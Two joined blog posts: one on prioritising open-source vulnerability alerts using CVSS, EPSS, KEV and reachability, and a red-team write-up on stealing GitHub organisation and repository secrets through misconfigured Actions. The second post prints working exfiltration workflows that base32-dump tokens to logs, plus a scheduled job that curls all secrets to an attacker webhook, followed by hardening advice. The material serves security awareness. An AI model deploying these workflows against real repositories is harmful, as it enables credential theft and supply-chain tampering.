One significant concern revolves around Open Source License Obligations, a topic that deserves its own post to delve into in depth. Furthermore, it’s essential to address disclosed security vulnerabilities associated with these libraries.Traditionally, the mantra for many internal security teams has been to “run a vulnerability scanner and fix all ‘High’ and ‘Critical’ issues” when dealing with security problems in third-party libraries. However, this approach may prove impractical in fast-paced or large companies with a microservices architecture.

In a typical company that employs a microservices based architecture, there may be hundreds of microservices, each with a unique set of third-party open-source dependencies spanning a wide range of technology stacks. Monitoring these service-level third-party dependencies using popular scanners like Dependabot can lead to an influx of daily alerts. These alerts cover a spectrum of issues, from straightforward package version upgrades to complex dependency conflicts.

Most of these scanners assign a severity rating based on the Common Vulnerability Scoring System (CVSS), with Version 3 (CVSS V3) being the widely adopted standard at the time of this writing. However, crafting security policies and making decisions solely based on the CVSS score can lead to an overwhelming number of vulnerabilities to address. This can result in developers not taking these alerts seriously or struggling to manage them effectively.

Prioritising Vulnerabilities Detected by Scanners:

Vulnerability prioritisation is an essential process in modern cybersecurity that involves identifying and ranking security vulnerabilities based on their severity and potential impact on an organization’s systems and data. Prioritisation is crucial because it allows security teams to focus their limited resources on the most critical vulnerabilities, thereby reducing the overall risk to the organization.

Why Do we Need Vulnerability Prioritisation?

At present, the Common Vulnerability Scoring System (CVSS) serves as a widely embraced approach for evaluating the seriousness of security vulnerabilities. It assigns a numerical rating on a scale from 0 to 10 to gauge the potential impact of a vulnerability, taking into consideration factors such as the intricacy of the exploit and the potential consequences for the compromised system. Although the CVSS scoring system proves valuable for prioritising vulnerabilities, it does have certain constraints that limit its effectiveness when used in isolation.

To begin with, the CVSS scoring system relies on a set of predefined metrics, which may not fully capture the intricacies and repercussions of certain vulnerabilities. For instance, a vulnerability might receive a less severity rating according to the CVSS score, yet in reality, it could be a part of a more extensive attack sequence that might lead to a significant security breach.

Additionally, the CVSS scoring system primarily concentrates on technical aspects and does not factor in the business impact of a vulnerability. This can result in situations where vulnerabilities with substantial implications for business operations or critical data receive lower severity ratings than less impactful vulnerabilities.

Finally, the CVSS scoring system doesn’t incorporate the likelihood of a vulnerability being exploited in real-world scenarios. Vulnerabilities with low CVSS scores may still be actively targeted by malicious actors if there are no effective countermeasures in place or if the vulnerability is part of a widespread cyberattack campaign.

How Can We Achieve Vulnerability Prioritisation?

There are few crucial attributes to look at whenever we analyse a third party library security alert. Note that this can be extensively applied to other assets / systems. (containers, servers etc)

1. Is it a direct / transitive dependency?
2. Is it a runtime / Development Dependency ?
3. Is the vulnerable function from the affected dependency reachable by first party code?(Reachability Analysis)
4. What are the attack trends associated with the discovered vulnerability(PoC exploit available? etc) and how to prioritise based on such trends?
5. Is Patch Available / package abandoned by maintainer?

Is it a direct / transitive dependency?

Security vulnerabilities in your project’s / service’s direct dependencies should be given the highest priority. These are the libraries or packages you explicitly include in your project, and any vulnerabilities in them directly affect your code. Transitive dependencies are the libraries or packages that your direct dependencies rely on.While they are not directly part of your codebase, they can still pose a risk if they have known security issues.

Is it a runtime / Development Dependency ?

If you work in a typical company environment that was described earlier, you would know about 10’s of ReDOS vulnerability alerts that are marked as “High” on a day to day basis by these scanners . dependencies marked with “development” attribute  . DevDependencies often include things like testing frameworks, build tools, linters, and other development-related libraries or packages. These dependencies are essential for developers working on the project to ensure code quality, test functionality, and build the software, but they do not need to be installed or included in the final production deployment.

In contrast, “dependencies” (without the “dev” prefix) refer to the packages or libraries that a software project relies on for its normal operation during runtime. These are essential components of the software and must be installed and available when the software is used in production.

Runtime Dependency issues should be given the highest priority as its reachable / exposed to attackers when application is in production.

Tip: Dependabot has a rule which can be configured to auto dismiss low impactful alerts and can be enabled in security analysis settings.

Is the vulnerable function / code from the affected third party dependency reachable by first party code?(Reachability Analysis)

Next prioritisation attribute to look at is “Reachability” . Vulnerability can only be exploited by a threat actor if our first party code consumes vulnerable function from the third party library and is reachable to an external threat actor via any means. ( functionality on web etc). There are several Reachability analysis tools which are efficient & commercial for automated reachability analysis for better prioritisation. ( https://www.endorlabs.com/  & https://semgrep.dev/products/semgrep-supply-chain/ ) .

Vulnerabilities which are reachable by first party code should be given highest priority. If you plan to conduct manual reachability analysis, it’s crucial to recognize that this should be an ongoing, recurrent task. Even if there are currently no existing references for your analysis, it’s essential to acknowledge the potential for such references to emerge in the future. This looming possibility, often likened to a “ticking time bomb,” underscores the importance of not disregarding this task. Utilising automated reachability analysis tools is the recommended approach to address this concern effectively.

What are the attack trends associated with the discovered vulnerability(PoC exploit available?) and how to prioritise based on such trends?

Most of the alerts received by scanners has a CVSS score and CVE ID attached.As CVSS v3 do not take into account of attack trends , For effective prioritisation of vulnerabilities , it can be combined with metrics such as Exploit Predictability Score System ( EPSS ) and can be clubbed with other feeds such as CISA’s Known Exploited Vulnerabilities Catalog ( KEV).

Exploit Predictability Score System : (EPSS) (here)

One effective method of prioritisation is the use of an exploit predictability score system, which assigns a score to vulnerabilities based on the likelihood that they will be exploited by threat actors in next 30 days. The system works by analysing factors such as the availability of exploit code, the complexity of the vulnerability, and the popularity of the affected software or system. By using an exploit predictability score system to prioritise vulnerabilities, organisations can focus their efforts on addressing the most critical threats first. This approach allows security teams to efficiently allocate resources and remediate vulnerabilities before they are exploited, thereby reducing the risk of data breaches, downtime, and other security incidents.

CISA’s Known Exploited Vulnerabilities Catalog: (KEV)(here)

CISA’s Known Exploited Vulnerabilities Catalog is a public database maintained by the United States Cybersecurity and Infrastructure Security Agency (CISA). The catalog provides information on known vulnerabilities that have been exploited by cybercriminals, as well as information on the tactics, techniques, and procedures (TTPs) used in those attacks.The catalog contains a list of Common Vulnerabilities and Exposures (CVEs) that have been actively exploited by threat actors, along with information on the types of attacks and malware associated with each CVE. The catalog is regularly updated with new information as it becomes available, making it a valuable resource for security teams and other stakeholders.

The following Sample Prioritisation matrix can be used internally for better prioritisation of vulnerabilities combining CVSS V3 Severity , EPSS Score and KEV.

this matrix , assumes you are not using automated reachability analysis tools and are blinded by the “time bomb” scenario that was mentioned in the reachability part. Offering development teams a bit of extra buffer time for issue resolution would undoubtedly be appreciated. The prioritisation matrix can be tailored to align with your company’s preferences and risk tolerance

Example :

lets assume ‘P0‘ critical vulnerability in your third party library discovered via an alerting tool. and SLA to fix P0 is 48 hours , SLA to fix P1 is 72 hours ,SLA to fix P2 is 7 days , SLA to fix P3 is 15 days.

Without the above prioritisation ,final priority would be “P0” Developers need to fix this issue within 48 hours. considering the above prioritisation , assuming EPSS score is < 0.088 and not reachable by first party code & also vulnerability is not available in KEV catalog, its final priority would be P3, buying 13 more days of time to fix .

Note : EPSS score (api), KEV catalog(here) details should be fetched every day as scores are updated everyday and can be used for reprioritisation of historical open alerts based on the changes. Reachability analysis should be done on recurring basis to make sure there are no new references after past analysis.

Why have we taken 0.088 as EPSS V3 score baseline?

As rightly highlighted here , the following baseline score was chosen. it can be modified as per companies risk appetite and availability of resources to fix the vulnerability .

Is Patch Available / package abandoned by maintainer?

Frequently, identified vulnerabilities lack an active patch, and, in more concerning cases, the maintainer has abandoned them. It is essential to give priority to alerts with available patches, but abandoned vulnerabilities should not be disregarded. They still represent potential threats, and their prioritization can be based on other attributes and the availability of potential workarounds. Considering an abandoned package as a risk, exploring the transition to an alternative package, or even taking on in-house maintenance can be viable steps in mitigating this risk.

References :

1. https://www.endorlabs.com/blog/epss-exploit-prediction-reachability-analysis
2. https://arxiv.org/pdf/2302.14172.pdf
3. https://www.first.org/epss/#
4. https://www.cisa.gov/known-exploited-vulnerabilities-catalog

The post Open Source Vulnerability Management : Insights on Prioritisation appeared first on .

Before we move to exploitation part, lets understand some basics of github version control and CICD systems. Folks who have experience with github ecosystem can skip this part and directly move to Misconfig part.

Basics of CI/CD Workflows :

GitHub provides companies with the ability to create an organization to store their source code repositories. Within these organisations, multiple repositories can be created, each with its own visibility settings: either as Private, safeguarding proprietary code, or Public, facilitating open-source project contributions, depending on the specific needs and objectives of the organization.

In the context of GitHub repositories, they serve as repositories for source code, and in modern software development practices, they often come equipped with automated pipelines tailored for continuous deployment and continuous integration (CI/CD) purposes. This setup streamlines the process of integrating new code changes into existing production codebases. When a developer aims to introduce a new feature or improvement, they initiate a pull request against the production codebase. Subsequently, the CI system orchestrates a battery of automated unit tests and other checks to ensure that these changes do not compromise the stability or security of the codebase.

I came across several repositories that appeared to be quite old, lacking or having disabled branch protection rules. These repositories seemed to have served as temporary storage for Proof of Concept projects and were left neglected without being archived. Suddenly, a recent memory of a blog post I read, titled “SLSA and DIP: It’s Build Time” (https://boostsecurity.io/blog/slsa-dip-its-build-time), flashed through my mind. It struck me that this situation could potentially lead to a misconfiguration that might allow unauthorized access to secrets stored at the organization level with default settings.

This situation raised a red flag, as it represents a classic case of an insider threat or privilege escalation. In an ideal company setup, the DevOps team would be responsible for and have access to secrets stored at the organization level. However, this misconfiguration could potentially lead to unauthorised elevation of privileges, creating a serious security concern.

To exploit this misconfiguration, the following prerequisites should be considered:

1. Repository Creation or Write Access: The attacker must possess one of the following capabilities:
   • The ability to create a new repository within a private organization.
   • Write access to a repository that lacks branch protection rules.
   • The capability to create branches and initiate Pull Requests on repositories with access to organization secrets.
2. GitHub Actions/Workflows Enabled: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.
3. Sensitive Secrets Stored at Organization Level accessible to misconfigured repository: The attacker’s objective relies on the presence of sensitive secrets stored at the organization level. These secrets represent the valuable target of the exploit.

In our case we had,

1. Write access to a repository with no branch protection rules.
2. Ability to create a Github actions and trigger a workflow in previously identified repository.
3. I identified by reviewing Github workflow files of other repositories that there was a github secret “NPM_PRIV_TOKEN” consumed by a lot of services .I assumed that the secret is stored at an organisation level at this point and is accessible to all private repositories.(default setting / which later confirmed via testing.) As the name suggest it was an npm token which had privileges to modify and access private registry npm packages and most likely set by their Infra team if taken over, results in poisoning / tampering of source packages consumed by production services.
4. Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) & variable names with vars context, and github built in function , toJson()

With the prior conditions to exploit satisfied , Our goal was to steal organisation secret “NPM_PRIV_TOKEN” .

Its Exploit time:

Craft a malicious github actions workflow file which access the stored organisation secret and dump it over actions log with base32 encoding. Github actions does not allow clear text logging of secrets as part of actions log.

As we see below this is a basic github actions workflow file which triggers when there is a Push / Pull request action to the main branch of this repository from the user. create a file / push this to path “.github/workflows/exfil.yaml”

name: Exfiltrate org secret
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil org secret
      id: response
      run:  |
          echo "lets exfil some org secrets..."
          echo "${{secrets.NPM_PRIV_TOKEN}}" | base32

And workflow would have triggered automatically. If not just make a dummy commit / create a blank file with dummy commit to trigger the workflow.

Check the Actions log to see the exfiltrated org secret.

And lets Base32 Decode the result to get the cleartext secret.

Mis-config 2 – Exfiltrate Repository level Secrets :

After reviewing several service repositories, I checked their GitHub Actions workflow files for secrets unique to each repository.I noticed something interesting: in one repository’s workflow file, it used “${{secrets.CI_TOKEN }}” as a secret. Normally, only the DevOps team or repository owners can manage secrets at the repository level due to security concerns. If someone were to steal the CI_TOKEN, it could lead to compromised builds and workflow tampering, depending on the CI system and token privileges (like Circle CI or Jenkins).

It’s important to mention that this repository had strong branch protection rules, requiring multiple reviews to merge changes into the base branch. Additionally, CODEOWNERS triggered mandatory reviews by the DevOps team when modifying GitHub workflow files in the base branch. However, I found that secrets stored at the repository level could be accessed by workflows from all branches, not just the base branch.

These are the prior conditions to be aware to exploit this misconfiguration :

1. Ability to create a new branch on a service repository .
2. GitHub Actions/Workflows Enabled: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.
3. Sensitive Secrets stored at Repository level for Selected Repository .

In our case we had,

1. Ability to create a new branch on identified service repository.
2. Github actions were enabled for the selected repository and also ability to run on created branches without any restriction.
3.  secret ‘CI_TOKEN’ stored at identified service Github repo.
4. Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) & variable names with vars context and github built in function , toJson()

With the prior conditions to exploit satisfied , Our goal was to steal Repository secret “CI_TOKEN” .

Its Exploit time:

Create a New branch for the identified repository in our case lets create a new branch “test-exfiltration” from base branch.

Lets create a malicious github workflow file at the path “.github/workflows/exfil.yaml” for the newly created branch. I will follow this steps on UI for simplicity and better verbose.

name: Exfiltrate Repository secret
on:
  push:
    branches: [test-exfiltration]
  pull_request:
    branches: [test-exfiltration]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil repository secret
      id: response
      run:  |
          echo "lets exfil some repository secrets..."
          echo "${{secrets.CI_TOKEN}}" | base32

We observe that workflow runs successfully and triggers the exfiltration each time we commit to this branch via Push / Pull Request. And finally we base32 encode it and print to log which can be decoded to fetch cleartext secret.

To establish persistence, we can enhance the previous workflow by scheduling a recurring cronjob. This modified workflow would run at specified intervals and send all the variables and secrets accessible to compromised repository to an attacker-controlled site. The reason behind this approach is that secrets often undergo rotation for security reasons, making it crucial to maintain persistence for extended simulations aimed at testing an organization’s detection capabilities.

By incorporating this scheduled cronjob into our workflow, we ensure that any changes or updates to secrets within the organization are continuously monitored and exfiltrated, providing valuable insights into the organization’s security posture and response mechanisms.

name: Weekly CI Exfil

on:
  push:
    branches:
      - test-exfiltration
  pull_request:
    branches:
      - test-exfiltration
  schedule:
    - cron: '0 15 * * 1'  # run every Monday at 3 pm UTC

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Exfil Secrets
      run: |
        WEBHOOK_URL="https://<your webhook>"
        echo $ALL_VARS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @- 
        echo $ALL_SECRETS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @-
      env:
        ALL_VARS: ${{ toJSON(secrets) }}
        ALL_SECRETS: ${{ toJSON(vars) }}

Voila, web hook received with exfiltrated base32 encoded secret.

Even though our focus in this post has been mainly towards exfiltrate org level and repository level secrets, the highlighted misconfigurations could have resulted in completely different attack vectors (crypto mining etc) .

Hardening notes to Github Admins/DevOps :

1. Limit Repository creation access to Admin users and also make sure enforce branch protection rules to all the repositories to prevent wrongful actions by users.Also,Archive/Delete older source repositories .
2. Enforce RBAC permissions to Github repositories. All Github users should not have write access to all the repositories. Enforce team level granular permissions.
3. Limit organisation secrets exposure to selected repositories instead of all repositories .
4. Use reusable workflows to prevent unauthorised modifications to existing workflow files.
5. Notify and enforce reviews by DevOps/Security when such modifications happen via maintaining CODEOWNERS file.(https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners )
6. Limit ability to run Github Actions for selected/required source repositories only.
7. Use Deployment protection rules and store secrets in the context of environment.
8. Adapt to supply chain security frameworks such as SLSA (https://slsa.dev/) to enhance security posture and guard against supply chain security threats.

In the end, it’s worth noting that a simple misconfiguration can create a significant hole/blindspot in an organization’s security posture.

References / articles worth quoting :

https://boostsecurity.io/blog/slsa-dip-its-build-time

https://slsa.dev/

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

https://medium.com/checkmarx-security/dependabot-contributes-malicious-code-e79999a282e1

The post Github Misconfiguration to Secrets Exfiltration appeared first on .